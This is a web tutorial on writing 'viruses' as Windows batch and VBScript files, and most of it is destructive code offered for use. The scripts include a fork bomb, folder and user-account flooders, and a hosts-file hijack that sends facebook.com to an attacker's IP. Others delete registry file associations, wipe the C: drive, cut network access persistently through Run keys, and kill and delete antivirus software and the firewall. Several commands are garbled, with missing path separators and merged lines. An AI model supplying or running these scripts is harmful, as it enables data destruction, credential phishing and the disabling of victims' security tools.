How to Create a Virus Using Batch File?

 

How to Create a Virus Using Batch File?

 

                                            

>Folder Replication Virus

A folder replication virus creates a large number of empty folders that make our Computer fuzzy and odd to look. This doesn’t have much impact on our computer, but it’s really frustrating in real-time. The program creates folders at random locations. Deleting these folders is also not an easy task as these folder may be created at any location on our drive. So, we need to manually find and delete every such folder.

I’ve made some modifications to the program and removed the complexity to illustrate you how it works. You can run this file on your computer without any hesitation. It will create infinite number of empty folders with random name. I can assure you that this program will not have any bad impact on your PC.

@echo off

cd C:Documents and SettingsusernameDesktop

:loop

md %RANDOM%

goto loop

1. The first line of the program conventionally sets the echo to off state.

2. Then we will be moving to on the Desktop using ‘cd’ command. 

3. Next I declare a loop label to iterate the block below it unconditionally. Using ‘md %RANDOM%’ command a folder is made with random name.

4. Next command ‘goto loop’ moves the control back to the label ‘loop’ and repeats the steps 3 and 4.

Note: Save the file with .bat extension and double click on it to start the folder replication virus. Just change “C:Documents and SettingsusernameDesktop” to the path where you want to create the folders. Your computer may hang when you open the directory where the folders are created.

>DNS Poisoning

Now we’ll see how a 2 lines of code can hack your personal accounts. You may have heard about spoofing of websites where a hacker creates an exact copy of the target site and hosts it on a server that has a unique IP address. He can send you a batch file programmed to change your host files there by redirecting you to the target spoofed site instead of the original site. When you click the batch file, your hosts will be modified and you are almost vulnerable. Take a look at the program.

@echo off

echo 10.184.24.35 www.facebook .com >> C:windowssystem32driversetchosts.txt

exit

 

The above code writes the line to your host file and whenever you type facebook.com in your browser, you will be redirected to the ip address 10.184.24.35 where the attacker has spoofed and hosted the site

>Command to remove the shortcut virus from your USB drives

del *.lnk

attrib -h -r -s /s /d e:*.*

The first command allows you to delete the ‘.lnk’ files and the next one changes the attributes of the files and makes the visible to you where ‘e’ is your USB drive letter.

Final Words
As this is a basic intro to batch files, I could only cover less number of topics but very important ones. There is a lot more to learn. First master the basics and explore the internet for more stuff. If you have any doubts regarding how to create a virus using batch file then you can comment below.

 

 >Disable Internet Permanently

This code will disable the internet connectivity permanently.

 

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo

ipconfig/release_all>c:windowswimn32.bat

echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

PAUSE

 

> Delete Key Registry Files

This will delete key registry files, then loops a message

 

This is dangerous and unrecoverable Notepad Virus.

 

@ECHO OFF

 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*

 :MESSAGE

 ECHO Your PC has been crashed.Your Dad.

 GOTO MESSAGE

 

 >Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

 

@ECHO off

 :top

 START %SystemRoot%\system32\notepad.exe

 GOTO top

 

> Popping CD Drives

This will make the CD drives constantly pop out

 

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

 Set colCDROMs = oWMP.cdromCollection

 do

 if colCDROMs.Count >= 1 then

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 End If

 wscript.sleep 100

 loop

 

> Endless Enter

This will make the enter button pressed continuously

 

SetwshShell=wscript.CreateObject(”WScript.Shell”)

 do

 wscript.sleep 100

 wshshell.sendkeys “~(enter)”

 loop

 

> Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

 

You can also add the application of your choice in the above code.

 

@echo off

 :x

 start winword

 start mspaint

 start notepad

 start write

 start cmd

 start explorer

 start control

 start calc

 goto x

 

> Flooder

This will create unlimited no. of folders.

 

@echo off

:x

md %random%

/folder.

goto x

 

>User Account Flooder

This will create large no. of the user account on one’s PC and goes on

 

@echo off

:xnet

user %random% /add

goto x

 

>Process Creator

This will create unlimited background processes

 

%0|%0

 

>Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

 

@Echo off

Del C:\ *.* |y

 

> Anti Virus Disabler

This large code will disable any antivirus installed on the system

 

@ echo off

rem

rem Permanently Kill Anti-Virus

net stop “Security Center”

netsh firewall set opmode mode=disable

tskill /A av*

tskill /A fire*

tskill /A anti*

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A OUTPOST

tskill /A nv*

tskill /A nav*

tskill /A F-*

tskill /A ESAFE

tskill /A cle

cls

tskill /A BLACKICE

tskill /A def*

tskill /A kav

tskill /A kav*

tskill /A avg*

tskill /A ash*

cls

tskill /A aswupdsv

tskill /A ewid*

tskill /A guard*

tskill /A guar*

tskill /A gcasDt*

tskill /A msmp*

cls

tskill /A mcafe*

tskill /A mghtml

tskill /A msiexec

tskill /A outpost

tskill /A isafe

tskill /A zap*cls

tskill /A zauinst

tskill /A upd*

tskill /A zlclien*

tskill /A minilog

tskill /A cc*

tskill /A norton*

cls

tskill /A norton au*

tskill /A ccc*

tskill /A npfmn*

tskill /A loge*

tskill /A nisum*

tskill /A issvc

tskill /A tmp*

cls

tskill /A tmn*

tskill /A pcc*

tskill /A cpd*

tskill /A pop*

tskill /A pav*

tskill /A padmincls

tskill /A panda*

tskill /A avsch*

tskill /A sche*

tskill /A syman*

tskill /A virus*

tskill /A realm*cls

tskill /A sweep*

tskill /A scan*

tskill /A ad-*

tskill /A safe*

tskill /A avas*

tskill /A norm*

cls

tskill /A offg*

del /Q /F C:\Program Files\alwils~1\avast4\*.*

del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe

del /Q /F C:\Program Files\kasper~1\*.exe

cls

del /Q /F C:\Program Files\trojan~1\*.exe

del /Q /F C:\Program Files\f-prot95\*.dll

del /Q /F C:\Program Files\tbav\*.datcls

del /Q /F C:\Program Files\avpersonal\*.vdf

del /Q /F C:\Program Files\Norton~1\*.cnt

del /Q /F C:\Program Files\Mcafee\*.*

cls

del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\*.*

del /Q /F C:\Program Files\Norton~1\*.*

cls

del /Q /F C:\Program Files\avgamsr\*.exe

del /Q /F C:\Program Files\avgamsvr\*.exe

del /Q /F C:\Program Files\avgemc\*.exe

cls

del /Q /F C:\Program Files\avgcc\*.exe

del /Q /F C:\Program Files\avgupsvc\*.exe

del /Q /F C:\Program Files\grisoft

del /Q /F C:\Program Files\nood32krn\*.exe

del /Q /F C:\Program Files\nood32\*.exe

cls

del /Q /F C:\Program Files\nod32

del /Q /F C:\Program Files\nood32

del /Q /F C:\Program Files\kav\*.exe

del /Q /F C:\Program Files\kavmm\*.exe

del /Q /F C:\Program Files\kaspersky\*.*

cls

del /Q /F C:\Program Files\ewidoctrl\*.exe

del /Q /F C:\Program Files\guard\*.exe

del /Q /F C:\Program Files\ewido\*.exe

cls

del /Q /F C:\Program Files\pavprsrv\*.exe

del /Q /F C:\Program Files\pavprot\*.exe

del /Q /F C:\Program Files\avengine\*.exe

cls

del /Q /F C:\Program Files\apvxdwin\*.exe

del /Q /F C:\Program Files\webproxy\*.exe

del /Q /F C:\Program Files\panda

software\*.*

rem